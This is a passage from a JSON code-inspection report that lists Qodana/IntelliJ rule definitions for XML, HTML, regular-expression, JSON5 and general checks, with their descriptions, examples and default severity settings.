` tag."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "XmlWrongRootElement",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckValidXmlInScriptTagBody",
"shortDescription": {
"text": "Malformed content of 'script' tag"
},
"fullDescription": {
"text": "Reports contents of 'script' tags that are invalid XML. Example: '' After the quick-fix is applied: ''",
"markdown": "Reports contents of `script` tags that are invalid XML. \n\n**Example:**\n\n\n \n\nAfter the quick-fix is applied:\n\n\n \n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CheckValidXmlInScriptTagBody",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpSuspiciousBackref",
"shortDescription": {
"text": "Suspicious back reference"
},
"fullDescription": {
"text": "Reports back references that will not be resolvable at runtime. This means that the back reference can never match anything. A back reference will not be resolvable when the group is defined after the back reference, or if the group is defined in a different branch of an alternation. Example of a group defined after its back reference: '\\1(abc)' Example of a group and a back reference in different branches: 'a(b)c|(xy)\\1z' New in 2022.1",
"markdown": "Reports back references that will not be resolvable at runtime. This means that the back reference can never match anything. A back reference will not be resolvable when the group is defined after the back reference, or if the group is defined in a different branch of an alternation.\n\n**Example of a group defined after its back reference:**\n\n\n \\1(abc)\n\n**Example of a group and a back reference in different branches:**\n\n\n a(b)c|(xy)\\1z\n\nNew in 2022.1"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpSuspiciousBackref",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpSingleCharAlternation",
"shortDescription": {
"text": "Single character alternation"
},
"fullDescription": {
"text": "Reports single char alternation in a RegExp. It is simpler to use a character class instead. This may also provide better matching performance. Example: 'a|b|c|d' After the quick-fix is applied: '[abcd]' New in 2017.1",
"markdown": "Reports single char alternation in a RegExp. It is simpler to use a character class instead. This may also provide better matching performance.\n\n**Example:**\n\n\n a|b|c|d\n\nAfter the quick-fix is applied:\n\n\n [abcd]\n\n\nNew in 2017.1"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpSingleCharAlternation",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlUnknownAttribute",
"shortDescription": {
"text": "Unknown attribute"
},
"fullDescription": {
"text": "Reports an unknown HTML attribute. Suggests configuring attributes that should not be reported.",
"markdown": "Reports an unknown HTML attribute. Suggests configuring attributes that should not be reported."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlUnknownAttribute",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckTagEmptyBody",
"shortDescription": {
"text": "Empty element content"
},
"fullDescription": {
"text": "Reports XML elements without contents. Example: '\n \n ' After the quick-fix is applied: '\n \n '",
"markdown": "Reports XML elements without contents.\n\n**Example:**\n\n\n \n \n \n\nAfter the quick-fix is applied:\n\n\n \n \n \n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CheckTagEmptyBody",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpRedundantEscape",
"shortDescription": {
"text": "Redundant character escape"
},
"fullDescription": {
"text": "Reports redundant character escape sequences that can be replaced with unescaped characters preserving the meaning. Many escape sequences that are necessary outside of a character class are redundant inside square brackets '[]' of a character class. Although unescaped opening curly braces '{' outside of character classes are allowed in some dialects (JavaScript, Python, and so on), it can cause confusion and make the pattern less portable, because there are dialects that require escaping curly braces as characters. For this reason the inspection does not report escaped opening curly braces. Example: '\\-\\;[\\.]' After the quick-fix is applied: '-;[.]' The Ignore escaped closing brackets '}' and ']' option specifies whether to report '\\}' and '\\]' outside of a character class when they are allowed to be unescaped by the RegExp dialect. New in 2017.3",
"markdown": "Reports redundant character escape sequences that can be replaced with unescaped characters preserving the meaning. Many escape sequences that are necessary outside of a character class are redundant inside square brackets `[]` of a character class.\n\n\nAlthough unescaped opening curly braces `{` outside of character classes are allowed in some dialects (JavaScript, Python, and so on),\nit can cause confusion and make the pattern less portable, because there are dialects that require escaping curly braces as characters.\nFor this reason the inspection does not report escaped opening curly braces.\n\n**Example:**\n\n\n \\-\\;[\\.]\n\nAfter the quick-fix is applied:\n\n\n -;[.]\n\n\nThe **Ignore escaped closing brackets '}' and '\\]'** option specifies whether to report `\\}` and `\\]` outside of a character class\nwhen they are allowed to be unescaped by the RegExp dialect.\n\nNew in 2017.3"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpRedundantEscape",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "UnresolvedReference",
"shortDescription": {
"text": "Unresolved reference"
},
"fullDescription": {
"text": "Reports an unresolved reference to a named pattern ('define') in RELAX-NG files that use XML syntax. Suggests creating the referenced 'define' element.",
"markdown": "Reports an unresolved reference to a named pattern (`define`) in RELAX-NG files that use XML syntax. Suggests creating the referenced `define` element."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "UnresolvedReference",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "RELAX NG",
"index": 43,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlMissingClosingTag",
"shortDescription": {
"text": "Missing closing tag"
},
"fullDescription": {
"text": "Reports an HTML element without a closing tag. Some coding styles require that HTML elements have closing tags even where this is optional. Example: '\n \n Behold!\n \n ' After the quick-fix is applied: '\n
\n Behold!
\n \n '",
"markdown": "Reports an HTML element without a closing tag. Some coding styles require that HTML elements have closing tags even where this is optional.\n\n**Example:**\n\n\n \n \n Behold!\n \n \n\nAfter the quick-fix is applied:\n\n\n \n
\n Behold!
\n \n \n"
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "HtmlMissingClosingTag",
"ideaSeverity": "INFORMATION",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CustomRegExpInspection",
"shortDescription": {
"text": "Custom RegExp inspection"
},
"fullDescription": {
"text": "Custom Regex Inspection",
"markdown": "Custom Regex Inspection"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "CustomRegExpInspection",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "IncorrectFormatting",
"shortDescription": {
"text": "Incorrect formatting"
},
"fullDescription": {
"text": "Reports formatting issues that appear if your code doesn't follow your project's code style settings. This inspection is not compatible with languages that require third-party formatters for code formatting, for example, Go or C with CLangFormat enabled.",
"markdown": "Reports formatting issues that appear if your code doesn't\nfollow your project's code style settings.\n\n\nThis inspection is not compatible with languages that require\nthird-party formatters for code formatting, for example, Go or\nC with CLangFormat enabled."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "IncorrectFormatting",
"ideaSeverity": "WEAK WARNING",
"qodanaSeverity": "Moderate"
}
},
"relationships": [
{
"target": {
"id": "General",
"index": 19,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlExtraClosingTag",
"shortDescription": {
"text": "Redundant closing tag"
},
"fullDescription": {
"text": "Reports redundant closing tags on empty elements, for example, 'img' or 'br'. Example: '\n \n
\n \n ' After the quick-fix is applied: '\n \n
\n \n '",
"markdown": "Reports redundant closing tags on empty elements, for example, `img` or `br`.\n\n**Example:**\n\n\n \n \n
\n \n \n\nAfter the quick-fix is applied:\n\n\n \n \n
\n \n \n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlExtraClosingTag",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlUnknownAnchorTarget",
"shortDescription": {
"text": "Unresolved fragment in a link"
},
"fullDescription": {
"text": "Reports an unresolved last part of an URL after the '#' sign.",
"markdown": "Reports an unresolved last part of an URL after the `#` sign."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlUnknownAnchorTarget",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpUnexpectedAnchor",
"shortDescription": {
"text": "Begin or end anchor in unexpected position"
},
"fullDescription": {
"text": "Reports '^' or '\\A' anchors not at the beginning of the pattern and '$', '\\Z' or '\\z' anchors not at the end of the pattern. In the wrong position these RegExp anchors prevent the pattern from matching anything. In case of the '^' and '$' anchors, most likely the literal character was meant and the escape forgotten. Example: '(Price $10)' New in 2018.1",
"markdown": "Reports `^` or `\\A` anchors not at the beginning of the pattern and `$`, `\\Z` or `\\z` anchors not at the end of the pattern. In the wrong position these RegExp anchors prevent the pattern from matching anything. In case of the `^` and `$` anchors, most likely the literal character was meant and the escape forgotten.\n\n**Example:**\n\n\n (Price $10)\n\n\nNew in 2018.1"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpUnexpectedAnchor",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "SpellCheckingInspection",
"shortDescription": {
"text": "Typo"
},
"fullDescription": {
"text": "Reports typos and misspellings in your code, comments, and literals and fixes them with one click.",
"markdown": "Reports typos and misspellings in your code, comments, and literals and fixes them with one click."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "SpellCheckingInspection",
"ideaSeverity": "TYPO",
"qodanaSeverity": "Low"
}
},
"relationships": [
{
"target": {
"id": "Proofreading",
"index": 52,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckXmlFileWithXercesValidator",
"shortDescription": {
"text": "Failed external validation"
},
"fullDescription": {
"text": "Reports a discrepancy in an XML file with the specified DTD or schema detected by the Xerces validator.",
"markdown": "Reports a discrepancy in an XML file with the specified DTD or schema detected by the Xerces validator."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CheckXmlFileWithXercesValidator",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlUnknownTag",
"shortDescription": {
"text": "Unknown tag"
},
"fullDescription": {
"text": "Reports an unknown HTML tag. Suggests configuring tags that should not be reported.",
"markdown": "Reports an unknown HTML tag. Suggests configuring tags that should not be reported."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlUnknownTag",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpEscapedMetaCharacter",
"shortDescription": {
"text": "Escaped meta character"
},
"fullDescription": {
"text": "Reports escaped meta characters. Some RegExp coding styles specify that meta characters should be placed inside a character class, to make the regular expression easier to understand. This inspection does not warn about the meta character '[', ']' and '^', because those would need additional escaping inside a character class. Example: '\\d+\\.\\d+' After the quick-fix is applied: '\\d+[.]\\d+' New in 2017.1",
"markdown": "Reports escaped meta characters. Some RegExp coding styles specify that meta characters should be placed inside a character class, to make the regular expression easier to understand. This inspection does not warn about the meta character `[`, `]` and `^`, because those would need additional escaping inside a character class.\n\n**Example:**\n\n\n \\d+\\.\\d+\n\nAfter the quick-fix is applied:\n\n\n \\d+[.]\\d+\n\nNew in 2017.1"
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "RegExpEscapedMetaCharacter",
"ideaSeverity": "INFORMATION",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlHighlighting",
"shortDescription": {
"text": "XML highlighting"
},
"fullDescription": {
"text": "Reports XML validation problems in the results of a batch code inspection.",
"markdown": "Reports XML validation problems in the results of a batch code inspection."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "XmlHighlighting",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlDuplicatedId",
"shortDescription": {
"text": "Duplicate 'id' attribute"
},
"fullDescription": {
"text": "Reports a duplicate 'id' attribute in XML.",
"markdown": "Reports a duplicate `id` attribute in XML."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "XmlDuplicatedId",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpDuplicateCharacterInClass",
"shortDescription": {
"text": "Duplicate character in character class"
},
"fullDescription": {
"text": "Reports duplicate characters inside a RegExp character class. Duplicate characters are unnecessary and can be removed without changing the semantics of the regex. Example: '[aabc]' After the quick-fix is applied: '[abc]'",
"markdown": "Reports duplicate characters inside a RegExp character class. Duplicate characters are unnecessary and can be removed without changing the semantics of the regex.\n\n**Example:**\n\n\n [aabc]\n\nAfter the quick-fix is applied:\n\n\n [abc]\n"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpDuplicateCharacterInClass",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlInvalidId",
"shortDescription": {
"text": "Unresolved 'id' reference"
},
"fullDescription": {
"text": "Reports an unresolved 'id' reference in XML.",
"markdown": "Reports an unresolved `id` reference in XML."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "XmlInvalidId",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlUnboundNsPrefix",
"shortDescription": {
"text": "Unbound namespace prefix"
},
"fullDescription": {
"text": "Reports an unbound namespace prefix in XML.",
"markdown": "Reports an unbound namespace prefix in XML."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "XmlUnboundNsPrefix",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RequiredAttributes",
"shortDescription": {
"text": "Missing required attribute"
},
"fullDescription": {
"text": "Reports a missing mandatory attribute in an XML/HTML tag. Suggests configuring attributes that should not be reported.",
"markdown": "Reports a missing mandatory attribute in an XML/HTML tag. Suggests configuring attributes that should not be reported."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "RequiredAttributes",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "ReassignedToPlainText",
"shortDescription": {
"text": "Reassigned to plain text"
},
"fullDescription": {
"text": "Reports files that were explicitly re-assigned to Plain Text File Type. This association is unnecessary because the platform auto-detects text files by content automatically. You can dismiss this warning by removing the file type association in Settings | Editor | File Types | Text.",
"markdown": "Reports files that were explicitly re-assigned to Plain Text File Type. This association is unnecessary because the platform auto-detects text files by content automatically.\n\nYou can dismiss this warning by removing the file type association\nin **Settings \\| Editor \\| File Types \\| Text**."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "ReassignedToPlainText",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "General",
"index": 19,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlUnusedNamespaceDeclaration",
"shortDescription": {
"text": "Unused schema declaration"
},
"fullDescription": {
"text": "Reports an unused namespace declaration or location hint in XML.",
"markdown": "Reports an unused namespace declaration or location hint in XML."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "XmlUnusedNamespaceDeclaration",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpRedundantClassElement",
"shortDescription": {
"text": "Redundant '\\d', '[:digit:]', or '\\D' class elements"
},
"fullDescription": {
"text": "Reports redundant '\\d' or '[:digit:]' that are used in one class with '\\w' or '[:word:]' ('\\D' with '\\W') and can be removed. Example: '[\\w\\d]' After the quick-fix is applied: '[\\w]' New in 2022.2",
"markdown": "Reports redundant `\\d` or `[:digit:]` that are used in one class with `\\w` or `[:word:]` (`\\D` with `\\W`) and can be removed.\n\n**Example:**\n\n\n [\\w\\d]\n\nAfter the quick-fix is applied:\n\n\n [\\w]\n\nNew in 2022.2"
},
"defaultConfiguration": {
"enabled": true,
"level": "note",
"parameters": {
"suppressToolId": "RegExpRedundantClassElement",
"ideaSeverity": "WEAK WARNING",
"qodanaSeverity": "Moderate"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpSimplifiable",
"shortDescription": {
"text": "Regular expression can be simplified"
},
"fullDescription": {
"text": "Reports regular expressions that can be simplified. Example: '[a] xx* [ah-hz]' After the quick-fix is applied: 'a x+ [ahz]' New in 2022.1",
"markdown": "Reports regular expressions that can be simplified.\n\n**Example:**\n\n\n [a] xx* [ah-hz]\n\nAfter the quick-fix is applied:\n\n\n a x+ [ahz]\n\nNew in 2022.1"
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "RegExpSimplifiable",
"ideaSeverity": "WEAK WARNING",
"qodanaSeverity": "Moderate"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpEmptyAlternationBranch",
"shortDescription": {
"text": "Empty branch in alternation"
},
"fullDescription": {
"text": "Reports empty branches in a RegExp alternation. An empty branch will only match the empty string, and in most cases that is not what is desired. This inspection will not report a single empty branch at the start or the end of an alternation. Example: '(alpha||bravo)' After the quick-fix is applied: '(alpha|bravo)' New in 2017.2",
"markdown": "Reports empty branches in a RegExp alternation. An empty branch will only match the empty string, and in most cases that is not what is desired. This inspection will not report a single empty branch at the start or the end of an alternation.\n\n**Example:**\n\n\n (alpha||bravo)\n\nAfter the quick-fix is applied:\n\n\n (alpha|bravo)\n\nNew in 2017.2"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpEmptyAlternationBranch",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "Annotator",
"shortDescription": {
"text": "Annotator"
},
"fullDescription": {
"text": "Reports issues essential to this file (e.g., syntax errors) in the result of a batch code inspection run. These issues are usually always highlighted in the editor and can't be configured, unlike inspections. These options control the scope of checks performed by this inspection: Option \"Report syntax errors\": report parser-related issues. Option \"Report issues from language-specific annotators\": report issues found by annotators configured for the relevant language. See Custom Language Support: Annotators for details. Option \"Report other highlighting problems\": report issues specific to the language of the current file (e.g., type mismatches or unreported exceptions). See Custom Language Support: Highlighting for details.",
"markdown": "Reports issues essential to this file (e.g., syntax errors) in the result of a batch code inspection run. These issues are usually always highlighted in the editor and can't be configured, unlike inspections. These options control the scope of checks performed by this inspection:\n\n* Option \"**Report syntax errors**\": report parser-related issues.\n* Option \"**Report issues from language-specific annotators** \": report issues found by annotators configured for the relevant language. See [Custom Language Support: Annotators](https://plugins.jetbrains.com/docs/intellij/annotator.html) for details.\n* Option \"**Report other highlighting problems** \": report issues specific to the language of the current file (e.g., type mismatches or unreported exceptions). See [Custom Language Support: Highlighting](https://plugins.jetbrains.com/docs/intellij/syntax-highlighting-and-error-highlighting.html#semantic-highlighting) for details."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "Annotator",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "General",
"index": 19,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlPathReference",
"shortDescription": {
"text": "Unresolved file reference"
},
"fullDescription": {
"text": "Reports an unresolved file reference in XML.",
"markdown": "Reports an unresolved file reference in XML."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "XmlPathReference",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpUnnecessaryNonCapturingGroup",
"shortDescription": {
"text": "Unnecessary non-capturing group"
},
"fullDescription": {
"text": "Reports unnecessary non-capturing groups, which have no influence on the match result. Example: 'Everybody be cool, (?:this) is a robbery!' After the quick-fix is applied: 'Everybody be cool, this is a robbery!' New in 2021.1",
"markdown": "Reports unnecessary non-capturing groups, which have no influence on the match result.\n\n**Example:**\n\n\n Everybody be cool, (?:this) is a robbery!\n\nAfter the quick-fix is applied:\n\n\n Everybody be cool, this is a robbery!\n\nNew in 2021.1"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpUnnecessaryNonCapturingGroup",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "TodoComment",
"shortDescription": {
"text": "TODO comment"
},
"fullDescription": {
"text": "Reports TODO comments in your code. You can configure the format for TODO comments in Settings | Editor | TODO. Enable the Only warn on TODO comments without any details option to only warn on empty TODO comments, that don't provide any description on the task that should be done. Disable to report all TODO comments.",
"markdown": "Reports **TODO** comments in your code.\n\nYou can configure the format for **TODO** comments in [Settings \\| Editor \\| TODO](settings://preferences.toDoOptions).\n\nEnable the **Only warn on TODO comments without any details** option to only warn on empty TODO comments, that\ndon't provide any description on the task that should be done. Disable to report all TODO comments."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "TodoComment",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "General",
"index": 19,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "Json5StandardCompliance",
"shortDescription": {
"text": "Compliance with JSON5 standard"
},
"fullDescription": {
"text": "Reports inconsistency with the language specification in a JSON5 file.",
"markdown": "Reports inconsistency with [the language specification](http://json5.org) in a JSON5 file."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "Json5StandardCompliance",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "JSON and JSON5",
"index": 8,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "JsonDuplicatePropertyKeys",
"shortDescription": {
"text": "Duplicate keys in object literals"
},
"fullDescription": {
"text": "Reports a duplicate key in an object literal.",
"markdown": "Reports a duplicate key in an object literal."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "JsonDuplicatePropertyKeys",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "JSON and JSON5",
"index": 8,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpRedundantNestedCharacterClass",
"shortDescription": {
"text": "Redundant nested character class"
},
"fullDescription": {
"text": "Reports unnecessary nested character classes. Example: '[a-c[x-z]]' After the quick-fix is applied: '[a-cx-z]' New in 2020.2",
"markdown": "Reports unnecessary nested character classes.\n\n**Example:**\n\n\n [a-c[x-z]]\n\nAfter the quick-fix is applied:\n\n\n [a-cx-z]\n\nNew in 2020.2"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "RegExpRedundantNestedCharacterClass",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlDeprecatedElement",
"shortDescription": {
"text": "Deprecated symbol"
},
"fullDescription": {
"text": "Reports a deprecated XML element or attribute. Symbols can be marked by XML comment or documentation tag with text 'deprecated'.",
"markdown": "Reports a deprecated XML element or attribute.\n\nSymbols can be marked by XML comment or documentation tag with text 'deprecated'."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "XmlDeprecatedElement",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "HtmlWrongAttributeValue",
"shortDescription": {
"text": "Wrong attribute value"
},
"fullDescription": {
"text": "Reports an incorrect HTML attribute value.",
"markdown": "Reports an incorrect HTML attribute value."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "HtmlWrongAttributeValue",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "HTML",
"index": 14,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "XmlDefaultAttributeValue",
"shortDescription": {
"text": "Redundant attribute with default value"
},
"fullDescription": {
"text": "Reports a redundant assignment of the default value to an XML attribute.",
"markdown": "Reports a redundant assignment of the default value to an XML attribute."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "XmlDefaultAttributeValue",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "XML",
"index": 33,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "RegExpOctalEscape",
"shortDescription": {
"text": "Octal escape"
},
"fullDescription": {
"text": "Reports octal escapes, which are easily confused with back references. Use hexadecimal escapes to avoid confusion. Example: '\\07' After the quick-fix is applied: '\\x07' New in 2017.1",
"markdown": "Reports octal escapes, which are easily confused with back references. Use hexadecimal escapes to avoid confusion.\n\n**Example:**\n\n\n \\07\n\nAfter the quick-fix is applied:\n\n\n \\x07\n\nNew in 2017.1"
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "RegExpOctalEscape",
"ideaSeverity": "INFORMATION",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "RegExp",
"index": 37,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "UnusedDefine",
"shortDescription": {
"text": "Unused define"
},
"fullDescription": {
